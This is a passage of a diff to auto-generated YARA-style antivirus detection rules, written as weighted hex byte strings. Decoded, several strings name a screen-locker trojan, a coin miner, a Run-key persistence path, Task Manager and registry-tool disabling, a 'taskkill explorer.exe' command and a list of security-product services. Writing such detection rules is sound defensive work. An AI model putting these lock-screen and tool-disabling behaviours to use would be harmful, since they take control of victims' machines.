6f 74 6f 73 5f 5f 5f 31 32 5f 01 00 24 81 01 31 36 34 30 32 63 31 38 2d 39 30 30 66 2d 34 32 38 64 2d 39 63 66 36 2d 62 } //4352 $a_64_11 = {32 35 34 34 61 35 01 00 45 81 01 41 6e 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 66 6f 72 20 70 69 7a 7a 61 20 6f 72 64 65 72 69 6e 67 2c 20 63 72 65 61 74 65 } //25957 - $a_6e_12 = {20 63 6f 64 65 64 20 62 79 20 47 61 6e 20 53 61 69 20 46 6f 63 6b 2e 01 00 1a 81 01 50 69 7a 7a 61 20 4f 72 64 65 72 69 6e 67 20 41 70 70 6c 69 63 61 74 69 6f 6e 00 00 78 a4 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4b 65 6c 76 69 72 2e 67 65 6e 21 41 00 01 00 20 01 4e } //8292 - $a_00_14 = {6e 00 20 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 01 00 30 01 4e 00 6f 00 72 00 74 00 6f 00 6e 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 01 00 24 01 49 00 50 00 53 00 45 00 43 00 20 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 41 00 67 00 65 00 6e } //116 - $a_53_16 = {79 } //11264 y - $a_00_18 = {65 00 63 00 20 00 50 00 72 00 6f 00 78 00 79 00 20 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 32 01 41 00 56 00 47 00 37 00 20 00 41 00 6c 00 65 00 72 00 74 00 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 20 00 53 00 65 00 72 00 76 00 65 00 72 00 01 00 36 01 65 00 74 00 72 00 75 00 73 00 74 00 20 00 61 00 6e 00 74 00 69 00 76 00 69 00 } //110 - $a_00_19 = {73 00 20 00 72 00 70 00 63 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 01 00 2c 01 61 00 6c 00 74 00 69 00 72 00 69 00 73 00 20 00 63 00 6c 00 69 00 65 00 6e 00 74 00 20 00 73 00 65 00 72 00 76 00 69 00 63 00 65 00 01 00 2e 01 70 00 63 00 61 00 6e 00 79 00 77 00 68 00 65 00 72 00 65 00 20 00 68 00 6f 00 73 00 74 00 20 00 73 00 65 00 72 00 76 00 69 } //114 - $a_a4_21 = {00 0c 00 0c 00 05 00 21 23 41 70 70 3a 43 6f 69 6e 4d 69 6e 65 72 36 34 3a 43 6c 61 79 6d 6f 72 65 43 72 79 70 74 6f 4e 6f 74 65 00 0a 00 4b 02 43 6c 61 79 6d 6f 72 65 90 03 02 00 27 73 20 90 17 03 0a 09 05 43 72 79 70 74 6f 4e 6f 74 65 4e 65 6f 53 63 72 79 70 74 5a 43 61 73 68 20 90 03 07 02 41 4d 44 20 47 50 55 25 73 20 4d 69 6e 65 72 20 90 02 03 76 25 73 } //0 + $a_6e_12 = {20 63 6f 64 65 64 20 62 79 20 47 61 6e 20 53 61 69 20 46 6f 63 6b 2e 01 00 1a 81 01 50 69 7a 7a 61 20 4f 72 64 65 72 69 6e 67 20 41 70 70 6c 69 63 61 74 69 6f 6e 00 00 78 a4 01 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 41 59 } //8292 + $a_54_13 = {00 02 00 1b 01 57 69 6e 6c 6f 63 6b 65 72 20 62 79 20 53 75 70 65 72 20 54 61 6e 6b 2e 70 64 62 02 00 58 00 57 00 69 00 6e 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 5f 00 62 00 79 00 5f 00 53 00 75 00 70 00 65 00 72 00 5f 00 54 00 61 } //8513 + $a_00_15 = {72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 5a 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 } //46 + $a_00_16 = {6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 01 00 1c 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 01 00 28 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 52 00 65 00 67 00 69 } //87 + $a_00_18 = {54 00 6f 00 6f 00 6c 00 73 00 01 00 4e 00 2f 00 6b 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 00 20 00 26 00 26 00 20 00 65 00 78 00 69 00 74 00 00 00 78 a4 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4b 65 6c 76 } //114 + $a_67_19 = {6e 21 41 00 01 00 20 01 4e 00 6f 00 72 00 74 00 6f 00 6e 00 20 00 41 00 6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 01 00 30 01 4e 00 } //29289 + $a_00_20 = {74 00 6f 00 6e 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 53 00 65 00 63 00 75 00 72 00 69 00 74 00 79 00 01 00 24 01 49 00 50 00 53 00 45 00 43 00 20 00 50 00 6f 00 6c 00 69 00 63 00 79 00 20 00 41 00 67 00 65 00 6e 00 74 00 01 00 2c 01 53 00 79 00 6d 00 61 00 6e 00 74 00 65 00 63 00 20 00 50 00 72 00 6f 00 78 00 79 00 } //111 + $a_00_21 = {65 00 72 00 76 00 69 00 63 00 65 00 01 00 32 01 41 00 56 00 47 00 37 00 20 00 41 00 6c 00 65 00 72 00 74 00 20 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 20 00 53 00 65 00 72 00 76 00 65 00 72 00 01 00 36 01 65 00 74 00 72 00 75 00 73 00 74 00 20 } //32 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25970+(#a_01_2 & 1)*30821+(#a_65_3 & 1)*28271+(#a_00_5 & 1)*-23432+(#a_48_7 & 1)*8448+(#a_00_8 & 1)*21581+(#a_31_9 & 1)*13619+(#a_01_10 & 1)*4352+(#a_64_11 & 1)*25957+(#a_6e_12 & 1)*8292+(#a_00_14 & 1)*116+(#a_53_16 & 1)*11264+(#a_00_18 & 1)*110+(#a_00_19 & 1)*114+(#a_a4_21 & 1)*0) >=5 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*25970+(#a_01_2 & 1)*30821+(#a_65_3 & 1)*28271+(#a_00_5 & 1)*-23432+(#a_48_7 & 1)*8448+(#a_00_8 & 1)*21581+(#a_31_9 & 1)*13619+(#a_01_10 & 1)*4352+(#a_64_11 & 1)*25957+(#a_6e_12 & 1)*8292+(#a_54_13 & 1)*8513+(#a_00_15 & 1)*46+(#a_00_16 & 1)*87+(#a_00_18 & 1)*114+(#a_67_19 & 1)*29289+(#a_00_20 & 1)*111+(#a_00_21 & 1)*32) >=5 } -rule _InfrastructureShared_19144{ +rule _InfrastructureShared_20341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -235325,13 +250140,26 @@ rule _InfrastructureShared_19144{ $a_35_2 = {35 2b 2b 2b 32 2b 45 2b 45 2b 45 2b 41 31 01 00 11 81 01 50 69 7a 7a 61 43 57 2e 52 65 73 6f 75 72 63 65 73 01 00 24 81 01 53 74 } //17457 $a_61_3 = {44 61 75 70 69 6e 65 5f 5f 35 30 5f 4e 75 64 65 5f 50 68 6f 74 6f 73 5f 5f 5f 31 31 5f 01 00 24 81 01 53 74 65 6c 6c 61 5f 44 61 75 70 69 6e 65 5f 5f 35 30 5f 4e 75 64 65 5f 50 68 6f 74 6f 73 5f 5f 5f 31 32 5f 01 00 24 81 01 31 36 34 30 32 63 31 38 2d 39 30 30 66 2d 34 32 38 64 2d 39 63 66 36 2d 62 65 65 34 64 30 32 35 34 } //27749 $a_01_4 = {00 45 81 01 41 6e 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 66 6f 72 20 70 69 7a 7a 61 20 6f 72 64 65 72 69 6e 67 2c 20 63 72 65 61 74 65 64 20 61 6e 64 20 63 6f } //24884 - $a_20_5 = {79 20 47 61 6e 20 53 61 69 20 46 6f 63 6b 2e 01 00 1a 81 01 50 69 7a 7a 61 20 4f 72 64 65 72 69 6e 67 20 41 70 70 6c 69 63 61 74 69 6f 6e 00 00 78 a4 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 4b 65 6c 76 69 72 2e 67 65 6e 21 41 00 01 00 20 01 4e 00 6f 00 72 00 74 00 6f 00 6e 00 } //25956 - $a_00_6 = {6e 00 74 00 69 00 76 00 69 00 72 00 75 00 73 00 01 00 30 01 4e 00 6f 00 72 00 74 00 6f 00 6e 00 20 00 49 00 6e 00 74 00 65 00 72 00 6e 00 65 00 74 00 20 00 53 00 65 00 63 00 75 00 72 00 69 00 74 } //32 + $a_20_5 = {79 20 47 61 6e 20 53 61 69 20 46 6f 63 6b 2e 01 00 1a 81 01 50 69 7a 7a 61 20 4f 72 64 65 72 69 6e 67 20 41 70 70 6c 69 63 61 74 69 6f 6e 00 00 78 a4 01 00 08 00 08 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 41 59 41 21 4d 54 42 00 02 00 1b 01 57 } //25956 + $a_6f_6 = {6b 65 72 20 62 79 20 53 75 70 65 72 20 54 61 6e 6b 2e 70 64 62 02 00 58 00 57 00 69 00 6e 00 6c 00 6f 00 63 00 6b 00 65 00 72 00 5f 00 62 00 79 00 5f 00 53 00 75 00 70 00 65 00 72 00 5f 00 54 00 61 00 6e 00 6b 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*12843+(#a_35_2 & 1)*17457+(#a_61_3 & 1)*27749+(#a_01_4 & 1)*24884+(#a_20_5 & 1)*25956+(#a_00_6 & 1)*32) >=7 + ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*12843+(#a_35_2 & 1)*17457+(#a_61_3 & 1)*27749+(#a_01_4 & 1)*24884+(#a_20_5 & 1)*25956+(#a_6f_6 & 1)*28265) >=7 } -rule _InfrastructureShared_19145{ +rule _InfrastructureShared_20342{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 41 59 41 21 4d 54 42 00 02 00 1b 01 57 69 6e 6c 6f 63 6b 65 72 20 62 79 20 53 75 70 65 72 20 54 61 6e 6b 2e 70 64 62 02 00 58 00 57 00 69 00 6e 00 6c 00 6f 00 } //16675 + $a_00_1 = {65 00 72 00 5f 00 62 00 79 00 5f 00 53 00 75 00 70 00 65 00 72 00 5f 00 54 00 61 00 6e 00 6b 00 2e 00 50 00 72 00 6f 00 70 00 65 00 72 00 74 00 69 00 65 00 73 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 01 00 5a 00 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 } //99 + $a_00_3 = {57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 01 00 1c 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 54 00 61 00 73 00 6b 00 4d 00 67 00 72 00 01 00 28 00 44 00 69 00 } //116 + $a_00_4 = {62 00 6c 00 65 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 54 00 6f 00 6f 00 6c 00 73 00 01 00 4e 00 2f 00 6b 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 66 00 20 00 2f 00 69 00 6d 00 20 00 65 00 78 00 70 00 6c 00 6f 00 72 00 65 00 72 00 2e 00 65 00 78 00 65 } //115 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*116+(#a_00_4 & 1)*115) >=8 + +} +rule _InfrastructureShared_20343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -235345,7 +250173,7 @@ rule _InfrastructureShared_19145{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_3 & 1)*80+(#a_00_5 & 1)*118+(#a_00_7 & 1)*101) >=8 } -rule _InfrastructureShared_19146{ +rule _InfrastructureShared_20344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 05 00 21 " @@ -235359,7 +250187,7 @@ rule _InfrastructureShared_19146{ ((#a_70_0 & 1)*16675+(#a_61_1 & 1)*52+(#a_20_2 & 1)*20308+(#a_6e_3 & 1)*30068+(#a_6f_4 & 1)*13) >=12 } -rule _InfrastructureShared_19147{ +rule _InfrastructureShared_20345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -235381,7 +250209,7 @@ rule _InfrastructureShared_19147{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29554+(#a_00_2 & 1)*116+(#a_65_3 & 1)*25120+(#a_01_4 & 1)*30720+(#a_50_5 & 1)*30062+(#a_61_6 & 1)*21298+(#a_6d_7 & 1)*21248+(#a_53_8 & 1)*1537+(#a_06_9 & 1)*1168+(#a_5f_10 & 1)*22875+(#a_06_11 & 1)*1168+(#a_5f_12 & 1)*22875) >=13 } -rule _InfrastructureShared_19148{ +rule _InfrastructureShared_20346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 10 00 16 00 21 " @@ -235411,7 +250239,7 @@ rule _InfrastructureShared_19148{ ((#a_54_0 & 1)*18467+(#a_20_2 & 1)*12032+(#a_73_3 & 1)*20037+(#a_01_4 & 1)*1+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_a5_14 & 1)*0+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_a5_20 & 1)*0+(#a_30_21 & 1)*300) >=16 } -rule _InfrastructureShared_19149{ +rule _InfrastructureShared_20347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -235426,7 +250254,7 @@ rule _InfrastructureShared_19149{ ((#a_54_0 & 1)*18467+(#a_14_1 & 1)*-5219+(#a_56_2 & 1)*21073+(#a_56_3 & 1)*21073+(#a_3a_5 & 1)*19521+(#a_00_6 & 1)*80) >=1 } -rule _InfrastructureShared_19150{ +rule _InfrastructureShared_20348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -235437,7 +250265,7 @@ rule _InfrastructureShared_19150{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=4 } -rule _InfrastructureShared_19151{ +rule _InfrastructureShared_20349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0a 00 21 " @@ -235454,7 +250282,7 @@ rule _InfrastructureShared_19151{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_3 & 1)*102+(#a_00_4 & 1)*111+(#a_52_6 & 1)*21320+(#a_75_7 & 1)*385+(#a_01_8 & 1)*28521+(#a_65_9 & 1)*27759) >=8 } -rule _InfrastructureShared_19152{ +rule _InfrastructureShared_20350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235472,7 +250300,7 @@ rule _InfrastructureShared_19152{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*11008+(#a_73_2 & 1)*28784+(#a_6e_3 & 1)*29516+(#a_64_4 & 1)*28524+(#a_62_5 & 1)*27507+(#a_6d_6 & 1)*28532+(#a_66_8 & 1)*21249+(#a_45_9 & 1)*20526) >=10 } -rule _InfrastructureShared_19153{ +rule _InfrastructureShared_20351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -235490,7 +250318,7 @@ rule _InfrastructureShared_19153{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*27996+(#a_61_2 & 1)*29543+(#a_2e_3 & 1)*26988+(#a_48_6 & 1)*8448+(#a_01_8 & 1)*9472+(#a_6f_9 & 1)*1297+(#a_63_10 & 1)*28270+(#a_5f_11 & 1)*20545) >=12 } -rule _InfrastructureShared_19154{ +rule _InfrastructureShared_20352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -235508,7 +250336,7 @@ rule _InfrastructureShared_19154{ ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*29194+(#a_28_5 & 1)*400+(#a_2b_7 & 1)*5644+(#a_28_8 & 1)*7940+(#a_16_9 & 1)*256+(#a_04_10 & 1)*1025+(#a_07_11 & 1)*1811+(#a_01_12 & 1)*25972) >=13 } -rule _InfrastructureShared_19155{ +rule _InfrastructureShared_20353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -235521,7 +250349,7 @@ rule _InfrastructureShared_19155{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_44_2 & 1)*1025+(#a_6e_3 & 1)*27247) >=4 } -rule _InfrastructureShared_19156{ +rule _InfrastructureShared_20354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -235535,7 +250363,7 @@ rule _InfrastructureShared_19156{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*12336+(#a_30_2 & 1)*12338+(#a_45_3 & 1)*13623+(#a_30_4 & 1)*12341) >=5 } -rule _InfrastructureShared_19157{ +rule _InfrastructureShared_20355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -235549,7 +250377,7 @@ rule _InfrastructureShared_19157{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*55+(#a_00_3 & 1)*122+(#a_00_4 & 1)*97+(#a_00_6 & 1)*80) >=5 } -rule _InfrastructureShared_19158{ +rule _InfrastructureShared_20356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " @@ -235559,7 +250387,7 @@ rule _InfrastructureShared_19158{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_19159{ +rule _InfrastructureShared_20357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235576,7 +250404,7 @@ rule _InfrastructureShared_19159{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6912+(#a_65_3 & 1)*23553+(#a_65_4 & 1)*28531+(#a_52_6 & 1)*21320+(#a_72_7 & 1)*25701+(#a_69_8 & 1)*25954+(#a_62_9 & 1)*385) >=10 } -rule _InfrastructureShared_19160{ +rule _InfrastructureShared_20358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235595,7 +250423,7 @@ rule _InfrastructureShared_19160{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*28021+(#a_61_2 & 1)*29811+(#a_74_3 & 1)*24878+(#a_53_4 & 1)*8993+(#a_65_5 & 1)*27749+(#a_6b_6 & 1)*24940+(#a_65_7 & 1)*23553+(#a_69_8 & 1)*14930+(#a_53_9 & 1)*-32488) >=10 } -rule _InfrastructureShared_19161{ +rule _InfrastructureShared_20359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235614,7 +250442,7 @@ rule _InfrastructureShared_19161{ ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*-32479+(#a_72_2 & 1)*30580+(#a_6b_3 & 1)*24940+(#a_65_4 & 1)*23553+(#a_69_5 & 1)*14930+(#a_53_6 & 1)*-32488+(#a_72_7 & 1)*30580+(#a_32_8 & 1)*29285+(#a_01_9 & 1)*28265) >=10 } -rule _InfrastructureShared_19162{ +rule _InfrastructureShared_20360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235632,7 +250460,7 @@ rule _InfrastructureShared_19162{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*25966+(#a_72_2 & 1)*23607+(#a_01_3 & 1)*8192+(#a_00_5 & 1)*1+(#a_69_6 & 1)*14949+(#a_20_7 & 1)*10616+(#a_6f_8 & 1)*26478+(#a_63_9 & 1)*30063) >=10 } -rule _InfrastructureShared_19163{ +rule _InfrastructureShared_20361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 09 00 09 00 21 " @@ -235650,7 +250478,7 @@ rule _InfrastructureShared_19163{ ((#a_77_0 & 1)*16675+(#a_64_1 & 1)*9504+(#a_2e_2 & 1)*28531+(#a_00_3 & 1)*12136+(#a_75_4 & 1)*9473+(#a_03_5 & 1)*10+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=9 } -rule _InfrastructureShared_19164{ +rule _InfrastructureShared_20362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -235663,7 +250491,7 @@ rule _InfrastructureShared_19164{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*109+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=11 } -rule _InfrastructureShared_19165{ +rule _InfrastructureShared_20363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 15 00 08 00 21 " @@ -235677,7 +250505,7 @@ rule _InfrastructureShared_19165{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*101+(#a_00_3 & 1)*67+(#a_00_5 & 1)*110+(#a_00_6 & 1)*46) >=21 } -rule _InfrastructureShared_19166{ +rule _InfrastructureShared_20364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -235690,7 +250518,7 @@ rule _InfrastructureShared_19166{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*112+(#a_00_2 & 1)*112+(#a_00_3 & 1)*109) >=3 } -rule _InfrastructureShared_19167{ +rule _InfrastructureShared_20365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -235705,7 +250533,7 @@ rule _InfrastructureShared_19167{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_64_2 & 1)*11892+(#a_00_3 & 1)*97+(#a_00_4 & 1)*36+(#a_42_5 & 1)*25959) >=4 } -rule _InfrastructureShared_19168{ +rule _InfrastructureShared_20366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -235722,7 +250550,7 @@ rule _InfrastructureShared_19168{ ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*400+(#a_ed_2 & 1)*400+(#a_ed_3 & 1)*400+(#a_ed_5 & 1)*-29304+(#a_88_6 & 1)*-19+(#a_00_7 & 1)*7424+(#a_69_8 & 1)*23610) >=6 } -rule _InfrastructureShared_19169{ +rule _InfrastructureShared_20367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -235739,7 +250567,7 @@ rule _InfrastructureShared_19169{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*23660+(#a_73_2 & 1)*25972+(#a_6f_3 & 1)*23653+(#a_6e_4 & 1)*28281+(#a_00_5 & 1)*21581+(#a_00_6 & 1)*69+(#a_00_7 & 1)*107) >=9 } -rule _InfrastructureShared_19170{ +rule _InfrastructureShared_20368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -235752,7 +250580,7 @@ rule _InfrastructureShared_19170{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*116+(#a_00_3 & 1)*83+(#a_00_5 & 1)*110) >=10 } -rule _InfrastructureShared_19171{ +rule _InfrastructureShared_20369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235770,7 +250598,7 @@ rule _InfrastructureShared_19171{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*30315+(#a_6e_2 & 1)*27748+(#a_5c_3 & 1)*29281+(#a_63_4 & 1)*29295+(#a_65_5 & 1)*28530+(#a_24_6 & 1)*275+(#a_01_7 & 1)*11617+(#a_74_8 & 1)*27940) >=10 } -rule _InfrastructureShared_19172{ +rule _InfrastructureShared_20370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -235791,7 +250619,7 @@ rule _InfrastructureShared_19172{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*29541+(#a_30_2 & 1)*30768+(#a_24_3 & 1)*275+(#a_01_4 & 1)*11617+(#a_74_5 & 1)*27940+(#a_00_7 & 1)*104+(#a_74_8 & 1)*29440+(#a_74_9 & 1)*19827+(#a_00_10 & 1)*29541+(#a_00_11 & 1)*25959+(#a_34_12 & 1)*11830) >=12 } -rule _InfrastructureShared_19173{ +rule _InfrastructureShared_20371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -235817,7 +250645,7 @@ rule _InfrastructureShared_19173{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*25971+(#a_52_2 & 1)*29816+(#a_74_3 & 1)*26368+(#a_61_4 & 1)*31077+(#a_65_5 & 1)*25938+(#a_70_7 & 1)*29800+(#a_2f_8 & 1)*14384+(#a_31_9 & 1)*11826+(#a_2f_10 & 1)*28788+(#a_70_11 & 1)*29800+(#a_00_12 & 1)*284+(#a_00_13 & 1)*76+(#a_00_15 & 1)*101+(#a_00_16 & 1)*270+(#a_57_17 & 1)*14900+(#a_3a_18 & 1)*20041) >=19 } -rule _InfrastructureShared_19174{ +rule _InfrastructureShared_20372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -235836,7 +250664,7 @@ rule _InfrastructureShared_19174{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_74_2 & 1)*26627+(#a_30_3 & 1)*12344+(#a_38_4 & 1)*770+(#a_03_5 & 1)*-28626+(#a_2f_6 & 1)*14384+(#a_32_7 & 1)*12857+(#a_49_8 & 1)*28261+(#a_00_10 & 1)*109) >=1 } -rule _InfrastructureShared_19175{ +rule _InfrastructureShared_20373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -235855,7 +250683,7 @@ rule _InfrastructureShared_19175{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*101+(#a_00_4 & 1)*97+(#a_00_7 & 1)*70+(#a_00_8 & 1)*97+(#a_47_9 & 1)*18766+(#a_64_10 & 1)*24932+(#a_61_11 & 1)*29548+(#a_65_12 & 1)*26463+(#a_00_13 & 1)*65) >=2 } -rule _InfrastructureShared_19176{ +rule _InfrastructureShared_20374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -235868,7 +250696,7 @@ rule _InfrastructureShared_19176{ ((#a_70_0 & 1)*16675+(#a_65_1 & 1)*24864+(#a_74_2 & 1)*8236+(#a_20_3 & 1)*29756) >=4 } -rule _InfrastructureShared_19177{ +rule _InfrastructureShared_20375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -235879,7 +250707,7 @@ rule _InfrastructureShared_19177{ ((#a_4c_0 & 1)*21539+(#a_4e_2 & 1)*22016) >=4 } -rule _InfrastructureShared_19178{ +rule _InfrastructureShared_20376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 16 00 21 " @@ -235908,7 +250736,7 @@ rule _InfrastructureShared_19178{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*-32496+(#a_72_2 & 1)*29295+(#a_00_3 & 1)*8558+(#a_72_4 & 1)*9473+(#a_01_5 